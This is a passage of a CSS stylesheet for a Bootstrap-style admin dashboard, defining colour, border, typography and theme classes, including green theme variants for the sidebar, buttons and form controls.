.b-wid-7 { border-width: 7px; } .b-wid-8 { border-width: 8px; } /*====== border-width css ends ======*/ /*====== background starts ======*/ .bg-body { background: #f8f9fd !important; } .bg-light-primary { background: #dcdaeb; color: #51459d; } .text-light-primary { color: #dcdaeb; } .icon-svg-primary { fill: #dcdaeb; stroke: #51459d; } .material-icons-two-tone.text-primary { background-color: #51459d; } .text-hover-primary:hover { color: #51459d !important; } .bg-light-secondary { background: #e2e3e5; color: #6c757d; } .text-light-secondary { color: #e2e3e5; } .icon-svg-secondary { fill: #e2e3e5; stroke: #6c757d; } .material-icons-two-tone.text-secondary { background-color: #6c757d; } .text-hover-secondary:hover { color: #6c757d !important; } .bg-light-success { background: #e2f7d9; color: #6fd943; } .text-light-success { color: #e2f7d9; } .icon-svg-success { fill: #e2f7d9; stroke: #6fd943; } .material-icons-two-tone.text-success { background-color: #6fd943; } .text-hover-success:hover { color: #6fd943 !important; } .bg-light-info { background: #d8f4f7; color: #3ec9d6; } .text-light-info { color: #d8f4f7; } .icon-svg-info { fill: #d8f4f7; stroke: #3ec9d6; } .material-icons-two-tone.text-info { background-color: #3ec9d6; } .text-hover-info:hover { color: #3ec9d6 !important; } .bg-light-warning { background: #ffecd2; color: #ffa21d; } .text-light-warning { color: #ffecd2; } .icon-svg-warning { fill: #ffecd2; stroke: #ffa21d; } .material-icons-two-tone.text-warning { background-color: #ffa21d; } .text-hover-warning:hover { color: #ffa21d !important; } .bg-light-danger { background: #ffd8e2; color: #ff3a6e; } .text-light-danger { color: #ffd8e2; } .icon-svg-danger { fill: #ffd8e2; stroke: #ff3a6e; } .material-icons-two-tone.text-danger { background-color: #ff3a6e; } .text-hover-danger:hover { color: #ff3a6e !important; } .bg-light-light { background: #fefefe; color: #f8f9fa; } .text-light-light { color: #fefefe; } .icon-svg-light { fill: #fefefe; stroke: #f8f9fa; } .material-icons-two-tone.text-light { background-color: #f8f9fa; } .text-hover-light:hover { color: #f8f9fa !important; } .bg-light-dark { background: #d2d3d5; color: #1c232f; } .text-light-dark { color: #d2d3d5; } .icon-svg-dark { fill: #d2d3d5; stroke: #1c232f; } .material-icons-two-tone.text-dark { background-color: #1c232f; } .text-hover-dark:hover { color: #1c232f !important; } /*====== background ends ======*/ /*====== border color css starts ======*/ .b-primary { border: 1px solid #51459d; } .border-bottom-primary td { border-bottom: 1px solid #51459d; } .border-bottom-primary th { border-bottom: 1px solid #51459d !important; } .fill-primary { fill: #51459d; } .b-secondary { border: 1px solid #6c757d; } .border-bottom-secondary td { border-bottom: 1px solid #6c757d; } .border-bottom-secondary th { border-bottom: 1px solid #6c757d !important; } .fill-secondary { fill: #6c757d; } .b-success { border: 1px solid #6fd943; } .border-bottom-success td { border-bottom: 1px solid #6fd943; } .border-bottom-success th { border-bottom: 1px solid #6fd943 !important; } .fill-success { fill: #6fd943; } .b-info { border: 1px solid #3ec9d6; } .border-bottom-info td { border-bottom: 1px solid #3ec9d6; } .border-bottom-info th { border-bottom: 1px solid #3ec9d6 !important; } .fill-info { fill: #3ec9d6; } .b-warning { border: 1px solid #ffa21d; } .border-bottom-warning td { border-bottom: 1px solid #ffa21d; } .border-bottom-warning th { border-bottom: 1px solid #ffa21d !important; } .fill-warning { fill: #ffa21d; } .b-danger { border: 1px solid #ff3a6e; } .border-bottom-danger td { border-bottom: 1px solid #ff3a6e; } .border-bottom-danger th { border-bottom: 1px solid #ff3a6e !important; } .fill-danger { fill: #ff3a6e; } .b-light { border: 1px solid #f8f9fa; } .border-bottom-light td { border-bottom: 1px solid #f8f9fa; } .border-bottom-light th { border-bottom: 1px solid #f8f9fa !important; } .fill-light { fill: #f8f9fa; } .b-dark { border: 1px solid #1c232f; } .border-bottom-dark td { border-bottom: 1px solid #1c232f; } .border-bottom-dark th { border-bottom: 1px solid #1c232f !important; } .fill-dark { fill: #1c232f; } /*====== border color css ends ======*/ /*====== text-color, background color css starts ======*/ .bg-facebook { background: #3C5A99; } .text-facebook { color: #3C5A99; } .bg-twitter { background: #42C0FB; } .text-twitter { color: #42C0FB; } .bg-dribbble { background: #EC4A89; } .text-dribbble { color: #EC4A89; } .bg-pinterest { background: #BF2131; } .text-pinterest { color: #BF2131; } .bg-youtube { background: #E0291D; } .text-youtube { color: #E0291D; } .bg-googleplus { background: #C73E2E; } .text-googleplus { color: #C73E2E; } .bg-instagram { background: #AA7C62; } .text-instagram { color: #AA7C62; } .bg-viber { background: #7B519D; } .text-viber { color: #7B519D; } .bg-behance { background: #0057ff; } .text-behance { color: #0057ff; } .bg-dropbox { background: #3380FF; } .text-dropbox { color: #3380FF; } .bg-linkedin { background: #0077B5; } .text-linkedin { color: #0077B5; } .bg-amazon { background: #000; } .text-amazon { color: #000; } /*====== text-color css ends ======*/ .font-hairline { font-weight: 100 !important; } .font-thin { font-weight: 200 !important; } .font-light { font-weight: 300 !important; } .font-normal { font-weight: 400 !important; } .font-medium { font-weight: 500 !important; } .font-semibold { font-weight: 600 !important; } .font-bold { font-weight: 700 !important; } .font-extrabold { font-weight: 800 !important; } .font-black { font-weight: 900 !important; } .text-xs { font-size: 0.625rem !important; } .text-sm { font-size: 0.75rem !important; } .text-md { font-size: 0.8125rem !important; } .text-base { font-size: 0.875rem !important; } .text-lg { font-size: 1rem !important; } .text-xl { font-size: 1.125rem !important; } .text-2xl { font-size: 1.25rem !important; } .text-3xl { font-size: 1.5rem !important; } .text-4xl { font-size: 2rem !important; } .text-5xl { font-size: 2.25rem !important; } .text-6xl { font-size: 2.5rem !important; } .text-7xl { font-size: 3rem !important; } .text-8xl { font-size: 4rem !important; } .text-9xl { font-size: 6rem !important; } .text-10xl { font-size: 8rem !important; } .uppercase { text-transform: uppercase !important; } .lowercase { text-transform: lowercase !important; } .capitalize { text-transform: capitalize !important; } .normal-case { text-transform: none !important; } /*====== more bootstrap colors start ======*/ .bg-blue-100 { color: #212529; background: #dcdaeb; } .bg-blue-200 { color: #ffffff; background: #b9b5d8; } .bg-blue-300 { color: #ffffff; background: #978fc4; } .bg-blue-400 { color: #ffffff; background: #746ab1; } .bg-blue-500 { color: #ffffff; background: #51459d; } .bg-blue-600 { color: #ffffff; background: #41377e; } .bg-blue-700 { color: #ffffff; background: #31295e; } .bg-blue-800 { color: #ffffff; background: #201c3f; } .bg-blue-900 { color: #ffffff; background: #100e1f; } .bg-indigo-100 { color: #212529; background: #e0cffc; } .bg-indigo-200 { color: #ffffff; background: #c29ffa; } .bg-indigo-300 { color: #ffffff; background: #a370f7; } .bg-indigo-400 { color: #ffffff; background: #8540f5; } .bg-indigo-500 { color: #ffffff; background: #6610f2; } .bg-indigo-600 { color: #ffffff; background: #520dc2; } .bg-indigo-700 { color: #ffffff; background: #3d0a91; } .bg-indigo-800 { color: #ffffff; background: #290661; } .bg-indigo-900 { color: #ffffff; background: #140330; } .bg-purple-100 { color: #212529; background: #e2d9f3; } .bg-purple-200 { color: #ffffff; background: #c5b3e6; } .bg-purple-300 { color: #ffffff; background: #a98eda; } .bg-purple-400 { color: #ffffff; background: #8c68cd; } .bg-purple-500 { color: #ffffff; background: #6f42c1; } .bg-purple-600 { color: #ffffff; background: #59359a; } .bg-purple-700 { color: #ffffff; background: #432874; } .bg-purple-800 { color: #ffffff; background: #2c1a4d; } .bg-purple-900 { color: #ffffff; background: #160d27; } .bg-pink-100 { color: #212529; background: #fad8e8; } .bg-pink-200 { color: #ffffff; background: #f6b2d1; } .bg-pink-300 { color: #ffffff; background: #f18bba; } .bg-pink-400 { color: #ffffff; background: #ed65a3; } .bg-pink-500 { color: #ffffff; background: #e83e8c; } .bg-pink-600 { color: #ffffff; background: #ba3270; } .bg-pink-700 { color: #ffffff; background: #8b2554; } .bg-pink-800 { color: #ffffff; background: #5d1938; } .bg-pink-900 { color: #ffffff; background: #2e0c1c; } .bg-red-100 { color: #212529; background: #ffd8e2; } .bg-red-200 { color: #ffffff; background: #ffb0c5; } .bg-red-300 { color: #ffffff; background: #ff89a8; } .bg-red-400 { color: #ffffff; background: #ff618b; } .bg-red-500 { color: #ffffff; background: #ff3a6e; } .bg-red-600 { color: #ffffff; background: #cc2e58; } .bg-red-700 { color: #ffffff; background: #992342; } .bg-red-800 { color: #ffffff; background: #66172c; } .bg-red-900 { color: #ffffff; background: #330c16; } .bg-orange-100 { color: #212529; background: #ffe5d0; } .bg-orange-200 { color: #212529; background: #fecba1; } .bg-orange-300 { color: #ffffff; background: #feb272; } .bg-orange-400 { color: #ffffff; background: #fd9843; } .bg-orange-500 { color: #ffffff; background: #fd7e14; } .bg-orange-600 { color: #ffffff; background: #ca6510; } .bg-orange-700 { color: #ffffff; background: #984c0c; } .bg-orange-800 { color: #ffffff; background: #653208; } .bg-orange-900 { color: #ffffff; background: #331904; } .bg-yellow-100 { color: #212529; background: #ffecd2; } .bg-yellow-200 { color: #212529; background: #ffdaa5; } .bg-yellow-300 { color: #212529; background: #ffc777; } .bg-yellow-400 { color: #ffffff; background: #ffb54a; } .bg-yellow-500 { color: #ffffff; background: #ffa21d; } .bg-yellow-600 { color: #ffffff; background: #cc8217; } .bg-yellow-700 { color: #ffffff; background: #996111; } .bg-yellow-800 { color: #ffffff; background: #66410c; } .bg-yellow-900 { color: #ffffff; background: #332006; } .bg-green-100 { color: #212529; background: #e2f7d9; } .bg-green-200 { color: #212529; background: #c5f0b4; } .bg-green-300 { color: #212529; background: #a9e88e; } .bg-green-400 { color: #ffffff; background: #8ce169; } .bg-green-500 { color: #ffffff; background: #6fd943; } .bg-green-600 { color: #ffffff; background: #59ae36; } .bg-green-700 { color: #ffffff; background: #438228; } .bg-green-800 { color: #ffffff; background: #2c571b; } .bg-green-900 { color: #ffffff; background: #162b0d; } .bg-teal-100 { color: #212529; background: #d2f4ea; } .bg-teal-200 { color: #212529; background: #a6e9d5; } .bg-teal-300 { color: #ffffff; background: #79dfc1; } .bg-teal-400 { color: #ffffff; background: #4dd4ac; } .bg-teal-500 { color: #ffffff; background: #20c997; } .bg-teal-600 { color: #ffffff; background: #1aa179; } .bg-teal-700 { color: #ffffff; background: #13795b; } .bg-teal-800 { color: #ffffff; background: #0d503c; } .bg-teal-900 { color: #ffffff; background: #06281e; } .bg-cyan-100 { color: #212529; background: #d8f4f7; } .bg-cyan-200 { color: #212529; background: #b2e9ef; } .bg-cyan-300 { color: #212529; background: #8bdfe6; } .bg-cyan-400 { color: #ffffff; background: #65d4de; } .bg-cyan-500 { color: #ffffff; background: #3ec9d6; } .bg-cyan-600 { color: #ffffff; background: #32a1ab; } .bg-cyan-700 { color: #ffffff; background: #257980; } .bg-cyan-800 { color: #ffffff; background: #195056; } .bg-cyan-900 { color: #ffffff; background: #0c282b; } .bg-gray-100 { color: #212529; background: #f8f9fa; } .bg-gray-200 { color: #212529; background: #e9ecef; } .bg-gray-300 { color: #212529; background: #dee2e6; } .bg-gray-400 { color: #212529; background: #ced4da; } .bg-gray-500 { color: #ffffff; background: #adb5bd; } .bg-gray-600 { color: #ffffff; background: #6c757d; } .bg-gray-700 { color: #ffffff; background: #495057; } .bg-gray-800 { color: #ffffff; background: #343a40; } .bg-gray-900 { color: #ffffff; background: #212529; } /*====== more bootstrap colors end ======*/ /** ===================== Custom css start ========================== **/ body { min-height: 100vh; overflow-x: hidden; } *:focus { outline: none; } a:hover { outline: none; text-decoration: none; } a:not([href]) { color: inherit; } p { font-size: 14px; } b, strong { font-weight: 600; } .ie-warning { position: fixed; top: 0; left: 0; z-index: 999999; background: #000000; width: 100%; height: 100%; text-align: center; color: #fff; font-family: "Courier New", Courier, monospace; padding: 50px 0; } .ie-warning p { font-size: 17px; } .ie-warning h1, .ie-warning .h1 { color: #fff; } .ie-warning .iew-container { min-width: 1024px; width: 100%; height: 200px; background: #fff; margin: 50px 0; } .ie-warning .iew-download { list-style: none; padding: 30px 0; margin: 0 auto; width: 720px; } .ie-warning .iew-download > li { float: left; vertical-align: top; } .ie-warning .iew-download > li > a { display: block; color: #000; width: 140px; font-size: 15px; padding: 15px 0; } .ie-warning .iew-download > li > a > div { margin-top: 10px; } .ie-warning .iew-download > li > a:hover { background-color: #eee; } .btn-page .btn-group .btn { margin-right: 0; margin-bottom: 0; } .btn-page .btn { margin-right: 5px; margin-bottom: 5px; } .material-icons-two-tone { background-color: #293240; -webkit-background-clip: text; -webkit-text-fill-color: transparent; vertical-align: text-bottom; } .material-icons-two-tone.text-white { background-color: #fff; } .hljs { display: block; overflow-x: auto; padding: 0.5em; color: #abb2bf; background: #282c34; } .hljs-comment, .hljs-quote { color: #5c6370; font-style: italic; } .hljs-doctag, .hljs-formula, .hljs-keyword { color: #c678dd; } .hljs-deletion, .hljs-name, .hljs-section, .hljs-selector-tag, .hljs-subst { color: #e06c75; } .hljs-literal { color: #56b6c2; } .hljs-addition, .hljs-attribute, .hljs-meta-string, .hljs-regexp, .hljs-string { color: #98c379; } .hljs-built_in, .hljs-class .hljs-title { color: #e6c07b; } .hljs-attr, .hljs-number, .hljs-selector-attr, .hljs-selector-class, .hljs-selector-pseudo, .hljs-template-variable, .hljs-type, .hljs-variable { color: #d19a66; } .hljs-bullet, .hljs-link, .hljs-meta, .hljs-selector-id, .hljs-symbol, .hljs-title { color: #61aeee; } .hljs-emphasis { font-style: italic; } .hljs-strong { font-weight: bold; } .hljs-link { text-decoration: underline; } /* ======================================================== =============== document ====================== ======================================================== Grid examples */ .bd-example-row { background: #f8f9fd; padding: 15px; margin-bottom: 15px; } .bd-example-row .row > [class^="col-"], .bd-example-row .row > .col { padding-top: 0.75rem; padding-bottom: 0.75rem; background-color: rgba(86, 61, 124, 0.15); border: 1px solid rgba(86, 61, 124, 0.2); } .bd-example-row .row + .row { margin-top: 1rem; } .bd-example-row .flex-items-bottom, .bd-example-row .flex-items-middle, .bd-example-row .flex-items-top { min-height: 6rem; background-color: rgba(255, 0, 0, 0.1); } .bd-example-row-flex-cols .row { min-height: 10rem; background-color: rgba(255, 0, 0, 0.1); } /* Docs examples */ .bd-example { position: relative; padding: 1rem; margin: 1rem; border: solid #ddd; border-width: 0.2rem 0 0; } @media only screen and (max-height: 575px) { .bd-example { padding: 1.5rem; margin-right: 0; margin-left: 0; border-width: 0.2rem; } } /* Example modals */ .modal { z-index: 1072; } .modal .popover, .modal .tooltip { z-index: 1073; } .modal-backdrop { z-index: 1071; } .bd-example-modal { background-color: #f8f9fd; } .bd-example-modal .modal { position: relative; top: auto; right: auto; bottom: auto; left: auto; z-index: 1; display: block; } .bd-example-modal .modal-dialog { left: auto; margin-right: auto; margin-left: auto; } .bd-example-modal .offcanvas { position: static; display: block; height: 200px; visibility: visible; transform: translate(0); } /* Example tabbable tabs */ .bd-example-tabs .nav-tabs { margin-bottom: 1rem; } /* Code snippets */ .highlight { padding: 1rem; margin-top: 1rem; margin-bottom: 1rem; background-color: #f3f2fb; -ms-overflow-style: -ms-autohiding-scrollbar; } @media only screen and (max-height: 575px) { .highlight { padding: 1.5rem; } } .bd-content .highlight { margin-right: 15px; margin-left: 15px; } @media only screen and (max-height: 575px) { .bd-content .highlight { margin-right: 0; margin-left: 0; } } .highlight pre { padding: 0; margin-top: 0; margin-bottom: 0; background-color: transparent; border: 0; } .highlight pre code { font-size: inherit; color: #333; } :not(pre) > code[class*="language-"], pre[class*="language-"] { background: transparent; } /* ================================ Blockquote Start ===================== */ svg.feather:not([class*="wid-"]) { width: 20px; } svg.feather:not([class*="hei-"]) { height: 20px; } @media (min-width: 1600px) { .container { max-width: 1540px; } } pre[class*="language-"]:before, pre[class*="language-"]:after { display: none; } :not(pre) > code[class*="language-"], pre[class*="language-"] { display: flex; margin: 0; } pre[class*="language-"] > code { width: 100%; } .media { display: flex; } .media .media-body { flex: 1; } .blockquote { border-left: 0.25rem solid #f1f1f1; padding: 0.5rem 1rem; } .blockquote.text-end { border-left: none; border-right: 0.25rem solid #f1f1f1; } .breadcrumb svg.feather { width: 16px; height: 16px; vertical-align: baseline; } [data-notify] .close { border: 0; opacity: 0.5; width: 1em; height: 1em; margin-top: 5px; color: transparent !important; background: transparent url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' fill='%23000000' viewBox='0 0 16 16'%3e%3cpath d='M.293.293a1 1 0 011.414 0L8 6.586 14.293.293a1 1 0 111.414 1.414L9.414 8l6.293 6.293a1 1 0 01-1.414 1.414L8 9.414l-6.293 6.293a1 1 0 01-1.414-1.414L6.586 8 .293 1.707a1 1 0 010-1.414z'/%3e%3c/svg%3e") center/1em auto no-repeat; filter: invert(1) grayscale(100%) brightness(200%); } /* ================================ Blockquote End ===================== */ a[data-lightbox] { cursor: pointer; } pre[class*="language-"] > code { box-shadow: 0px 0px 0px 1px #dfdfdf; border-left: 5px solid; } .offcanvas { z-index: 1075; } .dash-sidebar .accordion-item { border: none; } .form-switch.form-switch-right { padding-left: 0; margin-bottom: 0; } .form-switch.form-switch-right .form-check-input { float: right; } body.theme-1 { background: linear-gradient(141.55deg, rgba(240, 244, 243, 0) 3.46%, #f0f4f3 99.86%); } body.theme-1 .bg-primary { background: linear-gradient(141.55deg, #0CAF60 3.46%, #0CAF60 99.86%), #0CAF60 !important; } body.theme-1 .dash-header .drp-language .drp-text, body.theme-1 .dash-header .dash-head-link > i:not(.nocolor) { color: #0CAF60; } body.theme-1 .dash-header .drp-company .theme-avtar { background: #ceefdf; color: #0CAF60; } body.theme-1 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-1 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-1 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-1 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link, body.theme-1 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-1 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-1 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-1 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link { background: linear-gradient(141.55deg, #0CAF60 3.46%, #0CAF60 99.86%), #0CAF60; color: #fff; box-shadow: 0 5px 7px -1px rgba(12, 175, 96, 0.3); } body.theme-1 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-1 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-1 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-1 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link i, body.theme-1 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-1 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-1 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-1 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link i { color: #0CAF60; } body.theme-1 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item::before, body.theme-1 .dash-sidebar .dash-item .dash-submenu .dash-item::before { border-right-color: #0CAF60; } body.theme-1 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-1 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-1 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-1 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link, body.theme-1 .dash-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-1 .dash-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-1 .dash-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-1 .dash-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link { color: #0CAF60; } body.theme-1 a:not([class]) { color: #0CAF60; } body.theme-1 a:not([class]):hover { color: #0CAF60; } body.theme-1 .text-primary { color: #0CAF60 !important; } body.theme-1 .list-group-item.active { background: linear-gradient(141.55deg, #0CAF60 3.46%, #0CAF60 99.86%), #0CAF60 !important; } body.theme-1 .progress-bar:not([class*="bg-"]), body.theme-1 .btn-primary { --bs-btn-color: #ffffff; --bs-btn-bg: #0CAF60; --bs-btn-border-color: #0CAF60; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #0a9552; --bs-btn-hover-border-color: #0a8c4d; --bs-btn-focus-shadow-rgb: 48, 187, 120; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #0a8c4d; --bs-btn-active-border-color: #098348; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #ffffff; --bs-btn-disabled-bg: #0CAF60; --bs-btn-disabled-border-color: #0CAF60; } body.theme-1 .btn-outline-primary { --bs-btn-color: #0CAF60; --bs-btn-border-color: #0CAF60; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #0CAF60; --bs-btn-hover-border-color: #0CAF60; --bs-btn-focus-shadow-rgb: 12, 175, 96; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #0CAF60; --bs-btn-active-border-color: #0CAF60; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #0CAF60; --bs-btn-disabled-bg: transparent; --bs-btn-disabled-border-color: #0CAF60; --bs-gradient: none; } body.theme-1 .btn-light-primary { background: #ceefdf; color: #0CAF60; border-color: #ceefdf; } body.theme-1 .btn-light-primary:hover { background: #0CAF60; color: #fff; border-color: #0CAF60; } body.theme-1 .btn-light-primary.focus, body.theme-1 .btn-light-primary:focus { background: #0CAF60; color: #fff; border-color: #0CAF60; } body.theme-1 .btn-light-primary:not(:disabled):not(.disabled).active, body.theme-1 .btn-light-primary:not(:disabled):not(.disabled):active, .show > body.theme-1 .btn-light-primary.dropdown-toggle { background: #0CAF60; color: #fff; border-color: #0CAF60; } body.theme-1 .btn-check:active + .btn-light-primary, body.theme-1 .btn-check:checked + .btn-light-primary { background: #0CAF60; color: #fff; border-color: #0CAF60; } body.theme-1 .alert-primary { --bs-alert-color: #07693a; --bs-alert-bg: #ceefdf; --bs-alert-border-color: #b6e7cf; } body.theme-1 .alert-primary .alert-link { color: #06542e; } body.theme-1 .badge.bg-light-primary { background: #ceefdf; color: #0CAF60; border-color: #ceefdf; } body.theme-1 .page-item.active .page-link { background: #0CAF60; border-color: #0CAF60; } body.theme-1 .nav-link { color: #0CAF60; } body.theme-1 .nav-link:hover, body.theme-1 .nav-link:focus { color: #0CAF60; } body.theme-1 .nav-tabs .nav-link { background: none; } body.theme-1 .nav-pills .nav-link { background: none; } body.theme-1 .nav-pills .nav-link:focus, body.theme-1 .nav-pills .nav-link.active, body.theme-1 .nav-pills .show > .nav-link { color: #ffffff; background: linear-gradient(141.55deg, #0CAF60 3.46%, #0CAF60 99.86%), #0CAF60; } body.theme-1 .form-check-input:focus, body.theme-1 .form-select:focus, body.theme-1 .form-control:focus, body.theme-1 .custom-select:focus, body.theme-1 .dataTable-selector:focus, body.theme-1 .dataTable-input:focus { border-color: #0CAF60; box-shadow: 0 0 0 0.2rem rgba(12, 175, 96, 0.25); } body.theme-1 .form-check-input:checked { background-color: #0CAF60; border-color: #0CAF60; } body.theme-1 .form-range::-webkit-slider-thumb { background: #0CAF60; } body.theme-1 .form-range::-webkit-slider-thumb:active { background: #0CAF60; } body.theme-1 .form-range::-moz-range-thumb { background: #0CAF60; } body.theme-1 .form-range::-moz-range-thumb:active { background: #0CAF60; } body.theme-1 .form-check-input:checked { background-color: #0CAF60; border-color: #0CAF60; } body.theme-1 .form-check-input[type="checkbox"]:indeterminate { background-color: #0CAF60; border-color: #0CAF60; } body.theme-1 .form-check .form-check-input.input-primary:checked { background-color: #0CAF60; border-color: #0CAF60; } body.theme-1 pre[class*="language-"] > code { border-left-color: #0CAF60; background-image: linear-gradient(transparent 50%, rgba(12, 175, 96, 0.04) 50%); } body.theme-1 .card .card-header h5:after, body.theme-1 .card .card-header .h5:after, body.theme-1 .card .card-header .h5:after { background: #0CAF60; } body.theme-3 { background: linear-gradient(141.55deg, rgba(240, 244, 243, 0) 3.46%, #f0f4f3 99.86%); } body.theme-3 .bg-primary { background: linear-gradient(141.55deg, #6FD943 3.46%, #6FD943 99.86%), #6FD943 !important; } body.theme-3 .dash-header .drp-language .drp-text, body.theme-3 .dash-header .dash-head-link > i:not(.nocolor) { color: #6FD943; } body.theme-3 .dash-header .drp-company .theme-avtar { background: #e2f7d9; color: #6FD943; } body.theme-3 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-3 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-3 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-3 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link, body.theme-3 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-3 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-3 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-3 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link { background: linear-gradient(141.55deg, #6FD943 3.46%, #6FD943 99.86%), #6FD943; color: #fff; box-shadow: 0 5px 7px -1px rgba(111, 217, 67, 0.3); } body.theme-3 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-3 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-3 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-3 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link i, body.theme-3 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-3 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-3 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-3 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link i { color: #6FD943; } body.theme-3 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item::before, body.theme-3 .dash-sidebar .dash-item .dash-submenu .dash-item::before { border-right-color: #6FD943; } body.theme-3 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-3 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-3 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-3 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link, body.theme-3 .dash-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-3 .dash-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-3 .dash-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-3 .dash-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link { color: #6FD943; } body.theme-3 a:not([class]) { color: #6FD943; } body.theme-3 a:not([class]):hover { color: #6FD943; } body.theme-3 .text-primary { color: #6FD943 !important; } body.theme-3 .list-group-item.active { background: linear-gradient(141.55deg, #6FD943 3.46%, #6FD943 99.86%), #6FD943 !important; } body.theme-3 .progress-bar:not([class*="bg-"]), body.theme-3 .btn-primary { --bs-btn-color: #ffffff; --bs-btn-bg: #6FD943; --bs-btn-border-color: #6FD943; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #5eb839; --bs-btn-hover-border-color: #59ae36; --bs-btn-focus-shadow-rgb: 133, 223, 95; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #59ae36; --bs-btn-active-border-color: #53a332; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #ffffff; --bs-btn-disabled-bg: #6FD943; --bs-btn-disabled-border-color: #6FD943; } body.theme-3 .btn-outline-primary { --bs-btn-color: #6FD943; --bs-btn-border-color: #6FD943; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #6FD943; --bs-btn-hover-border-color: #6FD943; --bs-btn-focus-shadow-rgb: 111, 217, 67; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #6FD943; --bs-btn-active-border-color: #6FD943; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #6FD943; --bs-btn-disabled-bg: transparent; --bs-btn-disabled-border-color: #6FD943; --bs-gradient: none; } body.theme-3 .btn-light-primary { background: #e2f7d9; color: #6FD943; border-color: #e2f7d9; } body.theme-3 .btn-light-primary:hover { background: #6FD943; color: #fff; border-color: #6FD943; } body.theme-3 .btn-light-primary.focus, body.theme-3 .btn-light-primary:focus { background: #6FD943; color: #fff; border-color: #6FD943; } body.theme-3 .btn-light-primary:not(:disabled):not(.disabled).active, body.theme-3 .btn-light-primary:not(:disabled):not(.disabled):active, .show > body.theme-3 .btn-light-primary.dropdown-toggle { background: #6FD943; color: #fff; border-color: #6FD943; } body.theme-3 .btn-check:active + .btn-light-primary, body.theme-3 .btn-check:checked + .btn-light-primary { background: #6FD943; color: #fff; border-color: #6FD943; } body.theme-3 .alert-primary { --bs-alert-color: #438228; --bs-alert-bg: #e2f7d9; --bs-alert-border-color: #d4f4c7; } body.theme-3 .alert-primary .alert-link { color: #366820; } body.theme-3 .badge.bg-light-primary { background: #e2f7d9; color: #6FD943; border-color: #e2f7d9; } body.theme-3 .page-item.active .page-link { background: #6FD943; border-color: #6FD943; } body.theme-3 .nav-link { color: #6FD943; } body.theme-3 .nav-link:hover, body.theme-3 .nav-link:focus { color: #6FD943; } body.theme-3 .nav-tabs .nav-link { background: none; } body.theme-3 .nav-pills .nav-link { background: none; } body.theme-3 .nav-pills .nav-link:focus, body.theme-3 .nav-pills .nav-link.active, body.theme-3 .nav-pills .show > 